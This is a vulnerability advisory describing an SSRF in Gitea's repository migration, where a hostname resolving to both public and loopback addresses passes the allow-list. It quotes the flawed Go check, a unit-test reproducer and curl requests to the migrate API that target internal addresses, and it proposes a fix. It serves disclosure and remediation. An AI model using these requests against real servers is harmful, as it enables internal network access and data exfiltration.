Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
The issue is in services/migrations/migrate.go, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}
This means a hostname resolving to both:
1.2.3.4127.0.0.1passes validation because the public IP sets ipAllowed = true.
The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
I verified the vulnerable predicate locally against Gitea checkout:
e8654c7e062431a521636703f47339cde64644fd
using Dockerized Go tests with golang:1.26.4.
The local test proves:
checkByAllowBlockList("loopback.example.test", [127.0.0.1]) is rejected.checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1]) is accepted.Minimal reproducer at the validation layer:
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}
To reproduce end-to-end:
ALLOW_LOCALNETWORKS = false.127.0.0.1:18082.127.0.0.1, or can return a public address during Gitea's pre-flight validation and 127.0.0.1 during the later git clone.curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'
Expected direct result:
{"message":"You can not import from disallowed hosts."}
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'
Expected vulnerable result:
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
The migration allow/block-list check should fail closed for multi-answer DNS:
git cloneFor example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 65.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 65.00 |
VPI 공식 vpi-v1 기준